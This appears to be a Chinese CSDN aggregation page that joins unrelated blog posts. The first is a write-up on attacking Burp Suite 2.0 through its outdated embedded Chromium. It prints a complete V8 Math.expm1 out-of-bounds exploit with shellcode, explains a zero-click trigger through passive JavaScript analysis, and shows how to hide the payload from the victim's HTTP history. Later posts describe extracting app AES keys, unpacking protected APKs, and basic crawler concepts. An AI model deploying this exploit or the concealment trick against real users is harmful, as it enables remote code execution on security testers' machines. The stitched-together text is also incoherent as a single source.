精华内容
下载资源
问答
  • 渗透工具—制爬虫之Burp Suite RCE

    千次阅读 2021-11-27 15:05:04
    一、前言 Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。 近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务...

    一、前言

    Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

    近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

    本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

    二、软件分析

    以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

    burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。

    -w869

    在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

    从目录名及数字签名得知Burp Suite v2.0是直接

    展开全文
  • 【学习资料】 三、漏洞利用 Chromium组件的历史版本几乎都存在1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。 Burp Suite v2.0...

    在这里插入图片描述

    一、前言

    Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

    近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

    本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

    二、软件分析

    以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

    将burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。
    在这里插入图片描述
    在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录
    在这里插入图片描述
    从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。

    那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能够调用内置Chromium浏览器渲染网页。
    在这里插入图片描述
    当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。

    在这里插入图片描述

    browsercore32.exe进程运行参数如下:

    // Chromium主进程
    C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
    
    // Renderer进程
    C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
    

    从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。
    学习资料

    三、漏洞利用

    Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。

    Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

    以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)

    这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
    该漏洞的Root Cause是在进行Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。

    <html>
    <head></head>
    </body>
    <script>
    function pwn() {
        var f64Arr = new Float64Array(1);
        var u32Arr = new Uint32Array(f64Arr.buffer);
    
        function f2u(f) {
            f64Arr[0] = f;
            return u32Arr;
        }
    
        function u2f(h, l)
        {
            u32Arr[0] = l;
            u32Arr[1] = h;
            return f64Arr[0];
        }
    
        function hex(i) {
            return "0x" + i.toString(16).padStart(8, "0");
        }
    
        function log(str) {
            console.log(str);
            document.body.innerText += str + '\n';
        }
    
        var big_arr = [1.1, 1.2];
        var ab = new ArrayBuffer(0x233);
        var data_view = new DataView(ab);
    
        function opt_me(x) {
            var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
            big_arr = [1.1, 1.2];
            ab = new ArrayBuffer(0x233);
            data_view = new DataView(ab);
    
            let obj = {
                a: -0
            };
            let idx = Object.is(Math.expm1(x), obj.a) * 10;
    
            var tmp = f2u(oob_arr[idx])[0];
            oob_arr[idx] = u2f(0x234, tmp);
        }
        for (let a = 0; a < 0x1000; a++)
            opt_me(0);
    
        opt_me(-0);
        var optObj = {
            flag: 0x266,
            funcAddr: opt_me
        };
    
        log("[+] big_arr.length: " + big_arr.length);
    
        if (big_arr.length != 282) {
            log("[-] Can not modify big_arr length !");
            return;
        }
        var backing_store_idx = -1;
        var backing_store_in_hign_mem = false;
        var OptObj_idx = -1;
        var OptObj_idx_in_hign_mem = false;
    
        for (let a = 0; a < 0x100; a++) {
            if (backing_store_idx == -1) {
                if (f2u(big_arr[a])[0] == 0x466) {
                    backing_store_in_hign_mem = true;
                    backing_store_idx = a;
                } else if (f2u(big_arr[a])[1] == 0x466) {
                    backing_store_in_hign_mem = false;
                    backing_store_idx = a + 1;
                }
            }
    
            else if (OptObj_idx == -1) {
                if (f2u(big_arr[a])[0] == 0x4cc) {
                    OptObj_idx_in_hign_mem = true;
                    OptObj_idx = a;
                } else if (f2u(big_arr[a])[1] == 0x4cc) {
                    OptObj_idx_in_hign_mem = false;
                    OptObj_idx = a + 1;
                }
            }
    
        }
    
        if (backing_store_idx == -1) {
            log("[-] Can not find backing store !");
            return;
        } else
            log("[+] backing store idx: " + backing_store_idx +
                ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
    
        if (OptObj_idx == -1) {
            log("[-] Can not find Opt Obj !");
            return;
        } else
            log("[+] OptObj idx: " + OptObj_idx +
                ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
    
        var backing_store = (backing_store_in_hign_mem ?
            f2u(big_arr[backing_store_idx])[1] :
            f2u(big_arr[backing_store_idx])[0]);
        log("[+] Origin backing store: " + hex(backing_store));
    
        var dataNearBS = (!backing_store_in_hign_mem ?
            f2u(big_arr[backing_store_idx])[1] :
            f2u(big_arr[backing_store_idx])[0]);
    
        function read(addr) {
            if (backing_store_in_hign_mem)
                big_arr[backing_store_idx] = u2f(addr, dataNearBS);
            else
                big_arr[backing_store_idx] = u2f(dataNearBS, addr);
            return data_view.getInt32(0, true);
        }
    
        function write(addr, msg) {
            if (backing_store_in_hign_mem)
                big_arr[backing_store_idx] = u2f(addr, dataNearBS);
            else
                big_arr[backing_store_idx] = u2f(dataNearBS, addr);
            data_view.setInt32(0, msg, true);
        }
    
        var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
            f2u(big_arr[OptObj_idx])[1] :
            f2u(big_arr[OptObj_idx])[0]) - 1;
        log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
    
        var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
        log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
    
        var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
        log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
    
        var shellcode = new Uint8Array(
               [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
                0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
                0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
                0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
                0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
                0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
                0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
                0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
                0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
                0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
                0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
                0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
                0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
        );
    
        log("[+] writing shellcode ... ");
        for (let i = 0; i < shellcode.length; i++)
            write(RWX_Mem_Addr + i, shellcode[i]);
    
        log("[+] execute shellcode !");
        opt_me();
    }
    pwn();
    </script>
    </body>
    </html>
    

    用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。
    在这里插入图片描述

    四、进阶攻击

    Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。

    Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。
    在这里插入图片描述
    其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)
    在这里插入图片描述
    JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。

    额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。

    额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

    GET /xxx.js HTTP/1.1
    Host: www.xxx.com
    Connection: close
    Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
    

    JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:
    在这里插入图片描述

    五、流量特征检测

    默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

    Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

    以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。
    在这里插入图片描述
    不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

    本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。
    在这里插入图片描述
    学习安全,就来找我

    学习资料

    展开全文
  • 对之前apk编译的补充,很久没更新,怕忘记啦。正所谓好记性比不过烂笔头,哈哈 上一篇的地址:https://blog.csdn.net/weixin_42277380/article/details/97235098?spm=1001.2014.3001.5501 问题一:app抓到数据包...

    前言

    对之前apk反编译的补充,很久没更新,怕忘记啦。正所谓好记性比不过烂笔头,哈哈

    上一篇的地址:https://blog.csdn.net/weixin_42277380/article/details/97235098?spm=1001.2014.3001.5501


    问题一:app抓到数据包,可返回的数据是加密的

    原因:被AES加密了,要想还原出明文,必须要反编译拿到KEY

    解决过程

    1、下载APK文件

    2、通过搜一些特征字符串,确定需要的.dex文件 ,例如找到url中加密的参数来搜

    3、找到dex文件,然后依次用JADX对其进行反编译

    4、再搜索AES相关的关键词最终成功定位、找到相关固定AES_key,lv

    5、对应的KEY和IV,其使用了"AES/CBC/NoPadding"加密算法

    6、通过对比测试,确认生成加密过程

     

    问题二:发现app被加壳了,使用的是360的加壳工具

    原因:DEX加固是对DEX文件进行加壳防护,防止被静态反编译工具破解而泄露源码

    解决过程

    使用Xposed + FDex2插件

    1、模拟器安装好 FDex2插件 (不要忘了重启系统),启动插件,点选要脱壳的APP

    2、然后启动目标APP(儿科主治医师总题库)。

    3、使用Root Explorer浏览到APP的数据目录下,如果看到多个dex文件,说明脱壳成功了(原本该目录下没有这些文件)

     

    问题三:app安装在模拟器上打不开

    抓取思路:

    1.将apk 反编译 成java 文件

    2.从java 文件中找到生成字段的代码,将其修改为可读的java程序

    3.将java代码 改为python 代码(本来想从网上找找有没有python 执行java的方法 但安装完发现麻烦是一方面,主要还是不太好用)

    4.尝试模拟请求获取数据

    具体过程如下:

    首先,抓包工具使用的是Burp Suite , 先使用代理抓取手机端的具体请求--->查看header --->使用BurpSuite 工具中的Repeat--->在raw 上修改参数,删除参数--->得到必需字段 为Access_tk (Burp Suite 的使用安装下载自行百度)

    之后,开始反编译apk.

    反编译工具在网上有两种,一种是Android Killer 这是一个集成好的反编译工具直接安装即可使用 使用链接 https://www.cnblogs.com/common1140/p/5198460.html 适用于 简单的app ,如果在apk里加了防止反编译的化就不太好用,但它的搜索很好用,可以直接寻找文件中的字段,通过它 我们可以找到我们点击的页面 从而找到响应的方法名

    第二种就是网上常见的反编译思路 :

    具体安装工程: https://blog.csdn.net/lmj623565791/article/details/23564065

    1、android-apktool 主要是进行反编译的

    2、dex2jar-0.0.9.15 将反编译后的classes.dex文件转化为jar

    3、jd-gui-0.3.6.windows 对第2步获得的jar,进行查看

    4、在文件夹中寻找.java的文件,生成的规则


    加壳

    加壳工具:Aspack 2.11,Pecompact v1.82, UPX 1.20 ,fsg

    加壳的全称应该是可执行程序资源压缩,是保护文件的常用手段.
    加壳过的程序可以直接运行,但是不能查看源代码.要经过脱壳才可以查看源代码.

    原理:是利用特殊的算法,对EXE、DLL文件里的资源进行压缩。类似WINZIP 的效果,只不过这个压缩之后的文件,可以独立运行,解压过程完全隐蔽,都在内存中完成。
    解压原理,是加壳工具在文件头里加了一段指令,告诉CPU,怎么才能解压自己。加“壳”虽然增加了CPU附带但是减少了硬盘读写时间,实际应用时加“壳”以后程序运行速度更快(当然有的会变慢,那是选择的加“壳”工具问题)

    RAR和ZIP都是压缩软件不是加“壳”工具,他们解压时是需要进行磁盘读写
    “壳”的解压缩是直接在内存中进行的

    安卓APP安全

    混淆代码、整体Dex加固、拆分 Dex 加固、虚拟机加固等方面。

    混淆代码

    Java代码是非常容易反编译的,作为一种跨平台的、解释型语言,Java 源代码被编译成中间“字节码”存储于class文件中。由于跨平台的需要,这些字节码带有许多的语义信息,很容易被反编译成Java源代码。为了很好地保护Java源代码,开发者往往会对编译好的class文件进行混淆处理。

    混淆就是对发布出去的程序进行重新组织和处理,使得处理后的代码与处理前代码完成相同的功能,而混淆后的代码很难被反编译,即使反编译成功也很难得出程序的真正语义。ProGuard就是一个混淆代码的开源项目,能够对字节码进行混淆、缩减体积、优化等处理。

    解决:利用Proguard,对Dex2jar进行反编译处理后的Apk效果示例,不仅能够保护代码,而且能够精简编译后的程序大小,减少内存占用。

    整体Dex加固

    DEX加固是对DEX文件进行加壳防护,防止被静态反编译工具破解而泄露源码,最刚开始出现的是整体加固技术方案。

    整体加固技术的原理:包括替换application/classes.dex、解密/动态加载原classes.dex、调用原application相关方法、将原application对象/名称设置到系统内部相关变量四大环节。
    其中最为关键的一步就是解密/动态加载原classes.dex,通过加密编译好的最终dex源码文件,然后在一个新项目中用新项目的application启动来解密原项目代码并加载到内存中,再把当前进程替换为解密后的代码,能够很好地隐藏源码并防止直接性的反编译。

    整体Dex加固逆向分析:
    一是在内存中暴力搜索 dex\n035,再 dump
    另一种方法就是通过HookdvmDexFileOpenPartial(void* addr, int len, DvmDex**)。

    拆分Dex加固

    随着业务规模发展到一定程度,不断地加入新功能、添加新的类库,代码在急剧膨胀的同时,相应的apk包的大小也急剧增加,那么简单的整体加固方案就不能很好地满足安全需求,在整体加固方案之外又出现了拆分加固的技术方案。

    dex文件是一个以class为核心组装起来的文件,其中最重要的是classdata和classcode两部分,有其特定的接口和指令数据,选取这两部分来拆分的话,即使拆分出来也不会泄露class数据和字节码数据,反编译出来也不完整,安全性较高。

    拆分Dex加固逆向分析:用classdata替换从而组装成新的dex文件,虽然和原来的dex文件不会完全一致,但也在一定程度上复原了被拆分数据的样子。但要注意的是,这种方法仅适用于被拆分出去的数据变形一次性完成,也就是说,在有其他保护思路的情况下尽量避免使用,而且即使有需要也尽量选在用到这个类的时候才去恢复。

    虚拟机加固

    虚拟机加固也属于dex拆分加固的一种,它是对字节做了一些变化处理。

    以add-int v0, v1, v2、sub-int v0, v1, v2、mul-int v0, v1, v2这三条指令进行替换,然后进行加固编译,这样子操作后,即使把替换后的数据恢复了,也不会以add-int v0, v1, v2、sub-int v0, v1, v2、mul-int v0, v1, v2这三条指令进行替换,然后进行加固编译,这样子操作后,即使把替换后的数据恢复了,也不会变形成为之前的字节码,安全系数较高。

    虚拟机加固逆向分析—HOOK JNI 接口


    结语

    先记录到这,嘿嘿~

    展开全文
  • 常见的爬虫机制 a 通过UA 识别爬虫 有些爬虫的UA是特殊的,与正常浏览器的不一样,可通过识别特征UA,直接封掉爬虫请求 b 设置IP访问频率,如果超过一定频率,弹出验证码 如果输入正确的验证码,则放行,如果没有...

    谈谈对爬虫和反爬的理解

    A.爬虫

    1. 爬虫的定义
      网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。从功能上来讲,爬虫一般分为数据采集,处理,储存三个部分。传统爬虫从一个或若干初始网页的URL开始,获得初始网页上的URL,在抓取网页的过程中,不断从当前页面上抽取新的URL放入队列,直到满足系统的一定停止条件。

    2. 爬虫有什么用
      a. 市场分析:电商分析、商圈分析、一二级市场分析等
      b. 市场监控:电商、新闻、房源监控等
      c. 商机发现:招投标情报发现、客户资料发掘、企业客户发现等

    3. 爬虫对的分类
      网络爬虫按照系统结构和实现技术,大致可以分为以下几种类型:a.通用网络爬虫(General Purpose Web Crawler)、
      b.聚焦网络爬虫(Focused Web Crawler)、
      c.增量式网络爬虫(Incremental Web Crawler)、
      d.深层网络爬虫(Deep Web Crawler)。
      实际的网络爬虫系统通常是几种爬虫技术相结合实现的。

    a.通用网络爬虫(General Purpose Web Crawler)
    通用网络爬虫又称全网爬虫(Scalable Web Crawler),爬行对象从一些种子 URL 扩充到整个 Web,主要为门户站点搜索引擎和大型 Web 服务提供商采集数据。 由于商业原因,它们的技术细节很少公布出来。 这类网络爬虫的爬行范围和数量巨大,对于爬行速度和存储空间要求较高,对于爬行页面的顺序要求相对较低,同时由于待刷新的页面太多,通常采用并行工作方式,但需要较长时间才能刷新一次页面。 虽然存在一定缺陷,通用网络爬虫适用于为搜索引擎搜索广泛的主题,有较强的应用价值。
    通用网络爬虫的结构大致可以分为页面爬行模块、页面分析模块、链接过滤模块、页面数据库、URL 队列、初始 URL 集合几个部分。为提高工作效率,通用网络爬虫会采取一定的爬行策略。 常用的爬行策略有:深度优先策略、广度优先策略。
    1)深度优先策略:其基本方法是按照深度由低到高的顺序,依次访问下一级网页链接,直到不能再深入为止。 爬虫在完成一个爬行分支后返回到上一链接节点进一步搜索其它链接。 当所有链接遍历完后,爬行任务结束。 这种策略比较适合垂直搜索或站内搜索,但爬行页面内容层次较深的站点时会造成资源的巨大浪费。
    2)广度优先策略:此策略按照网页内容目录层次深浅来爬行页面,处于较浅目录层次的页面首先被爬行。 当同一层次中的页面爬行完毕后,爬虫再深入下一层继续爬行。 这种策略能够有效控制页面的爬行深度,避免遇到一个无穷深层分支时无法结束爬行的问题,实现方便,无需存储大量中间节点,不足之处在于需较长时间才能爬行到目录层次较深的页面。

    b.聚焦网络爬虫(Focused Web Crawler)
    聚焦网络爬虫(Focused Crawler),又称主题网络爬虫(Topical Crawler),是指选择性地爬行那些与预先定义好的主题相关页面的网络爬虫。 和通用网络爬虫相比,聚焦爬虫只需要爬行与主题相关的页面,极大地节省了硬件和网络资源,保存的页面也由于数量少而更新快,还可以很好地满足一些特定人群对特定领域信息的需求。
    聚焦网络爬虫和通用网络爬虫相比,增加了链接评价模块以及内容评价模块。聚焦爬虫爬行策略实现的关键是评价页面内容和链接的重要性,不同的方法计算出的重要性不同,由此导致链接的访问顺序也不同。
    1)基于内容评价的爬行策略:DeBra将文本相似度的计算方法引入到网络爬虫中,提出了 Fish Search 算法,它将用户输入的查询词作为主题,包含查询词的页面被视为与主题相关,其局限性在于无法评价页面与主题相关度的高低。 Herseovic对 Fish Search 算法进行了改进,提出了 Sharksearch 算法,利用空间向量模型计算页面与主题的相关度大小。
    2)基于链接结构评价的爬行策略 :Web 页面作为一种半结构化文档,包含很多结构信息,可用来评价链接重要性。 PageRank 算法最初用于搜索引擎信息检索中对查询结果进行排序,也可用于评价链接重要性,具体做法就是每次选择 PageRank 值较大页面中的链接来访问。 另一个利用 Web结构评价链接价值的方法是 HITS 方法,它通过计算每个已访问页面的 Authority 权重和 Hub 权重,并以此决定链接的访问顺序。
    3)基于增强学习的爬行策略:Rennie 和 McCallum 将增强学习引入聚焦爬虫,利用贝叶斯分类器,根据整个网页文本和链接文本对超链接进行分类,为每个链接计算出重要性,从而决定链接的访问顺序。
    4)基于语境图的爬行策略:Diligenti 等人提出了一种通过建立语境图(Context Graphs)学习网页之间的相关度,训练一个机器学习系统,通过该系统可计算当前页面到相关 Web 页面的距离,距离越近的页面中的链接优先访问。印度理工大学(IIT)和 IBM 研究中心的研究人员开发了一个典型的聚焦网络爬虫。 该爬虫对主题的定义既不是采用关键词也不是加权矢量,而是一组具有相同主题的网页。 它包含两个重要模块:一个是分类器,用来计算所爬行的页面与主题的相关度,确定是否与主题相关;另一个是净化器,用来识别通过较少链接连接到大量相关页面的中心页面。

    c. 增量式网络爬虫(Incremental Web Crawler)
    增量式网络爬虫(Incremental Web Crawler)是指对已下载网页采取增量式更新和只爬行新产生的或者已经发生变化网页的爬虫,它能够在一定程度上保证所爬行的页面是尽可能新的页面。 和周期性爬行和刷新页面的网络爬虫相比,增量式爬虫只会在需要的时候爬行新产生或发生更新的页面,并不重新下载没有发生变化的页面,可有效减少数据下载量,及时更新已爬行的网页,减小时间和空间上的耗费,但是增加了爬行算法的复杂度和实现难度。增量式网络爬虫的体系结构[包含爬行模块、排序模块、更新模块、本地页面集、待爬行 URL 集以及本地页面URL 集。
    增量式爬虫有两个目标:保持本地页面集中存储的页面为最新页面和提高本地页面集中页面的质量。 为实现第一个目标,增量式爬虫需要通过重新访问网页来更新本地页面集中页面内容,常用的方法有:1)统一更新法:爬虫以相同的频率访问所有网页,不考虑网页的改变频率;2)个体更新法:爬虫根据个体网页的改变频率来重新访问各页面;3)基于分类的更新法:爬虫根据网页改变频率将其分为更新较快网页子集和更新较慢网页子集两类,然后以不同的频率访问这两类网页。
    为实现第二个目标,增量式爬虫需要对网页的重要性排序,常用的策略有:广度优先策略、PageRank 优先策略等。IBM 开发的 WebFountain是一个功能强大的增量式网络爬虫,它采用一个优化模型控制爬行过程,并没有对页面变化过程做任何统计假设,而是采用一种自适应的方法根据先前爬行周期里爬行结果和网页实际变化速度对页面更新频率进行调整。北京大学的天网增量爬行系统旨在爬行国内 Web,将网页分为变化网页和新网页两类,分别采用不同爬行策略。 为缓解对大量网页变化历史维护导致的性能瓶颈,它根据网页变化时间局部性规律,在短时期内直接爬行多次变化的网页,为尽快获取新网页,它利用索引型网页跟踪新出现网页。

    d.深层网络爬虫(Deep Web Crawler)
    Deep Web 爬虫
    Web 页面按存在方式可以分为表层网页(Surface Web)和深层网页(Deep Web,也称 Invisible Web Pages 或 Hidden Web)。 表层网页是指传统搜索引擎可以索引的页面,以超链接可以到达的静态网页为主构成的 Web 页面。Deep Web 是那些大部分内容不能通过静态链接获取的、隐藏在搜索表单后的,只有用户提交一些关键词才能获得的 Web 页面。例如那些用户注册后内容才可见的网页就属于 Deep Web。 2000 年 Bright Planet 指出:Deep Web 中可访问信息容量是 Surface Web 的几百倍,是互联网上最大、发展最快的新型信息资源。
    Deep Web 爬虫体系结构包含六个基本功能模块 (爬行控制器、解析器、表单分析器、表单处理器、响应分析器、LVS 控制器)和两个爬虫内部数据结构(URL 列表、LVS 表)。 其中 LVS(Label Value Set)表示标签/数值集合,用来表示填充表单的数据源。
    Deep Web 爬虫爬行过程中最重要部分就是表单填写,包含两种类型:
    1)基于领域知识的表单填写:此方法一般会维持一个本体库,通过语义分析来选取合适的关键词填写表单。 Yiyao Lu等人提出一种获取 Form 表单信息的多注解方法,将数据表单按语义分配到各个组中,对每组从多方面注解,结合各种注解结果来预测一个最终的注解标签;郑冬冬等人利用一个预定义的领域本体知识库来识别 Deep Web 页面内容,同时利用一些来自 Web 站点导航模式来识别自动填写表单时所需进行的路径导航。
    2)基于网页结构分析的表单填写: 此方法一般无领域知识或仅有有限的领域知识,将网页表单表示成 DOM 树,从中提取表单各字段值。 Desouky 等人提出一种 LEHW 方法,该方法将 HTML 网页表示为DOM 树形式,将表单区分为单属性表单和多属性表单,分别进行处理;孙彬等人提出一种基于 XQuery 的搜索系统,它能够模拟表单和特殊页面标记切换,把网页关键字切换信息描述为三元组单元,按照一定规则排除无效表单,将 Web 文档构造成 DOM 树,利用 XQuery 将文字属性映射到表单字段。

    4.爬虫的结构
    Python爬虫架构主要由五个部分组成,分别是调度器、URL管理器、网页下载器、网页解析器、应用程序(爬取的有价值数据)。

    调度器:相当于一台电脑的CPU,主要负责调度URL管理器、下载器、解析器之间的协调工作。

    URL管理器:包括待爬取的URL地址和已爬取的URL地址,防止重复抓取URL和循环抓取URL,实现URL管理器主要用三种方式,通过内存、数据库、缓存数据库来实现。

    网页下载器:通过传入一个URL地址来下载网页,将网页转换成一个字符串,网页下载器有urllib2(Python官方基础模块)包括需要登录、代理、和cookie,requests(第三方包)

    网页解析器:将一个网页字符串进行解析,可以按照我们的要求来提取出我们有用的信息,也可以根据DOM树的解析方式来解析。

    应用程序:就是从网页中提取的有用数据组成的一个应用。

    5.爬虫基本流程

    a. 发起请求:通过HTTP库向目标站点发起请求,即发送一个Request,请求可以包含额外的headers等信息,等待服务器响应。
    b. 获取响应内容:如果服务器能正常响应,会得到一个Response,Response的内容便是所要获取的页面内容,类型可能有HTML,Json字符串,二进制数据(如图片视频)等类型。
    c. 解析内容:得到的内容可能是HTML,可以用正则表达式、网页解析库进行解析。可能是Json,可以直接转为Json对象解析,可能是二进制数据,可以做保存或者进一步的处理。
    d. 保存数据:保存形式多样,可以存为文本,也可以保存至数据库,或者保存特定格式的文件。

    在这里插入图片描述

    B. 什么是爬虫和反爬虫?

    1. 定义:
      爬虫:使用任何技术手段,批量获取网站信息的一种方式。
      反爬虫:使用任何技术手段,阻止别人批量获取自己网站信息的一种方式。

    2. 常见的反爬虫机制

    a 通过UA 识别爬虫 有些爬虫的UA是特殊的,与正常浏览器的不一样,可通过识别特征UA,直接封掉爬虫请求
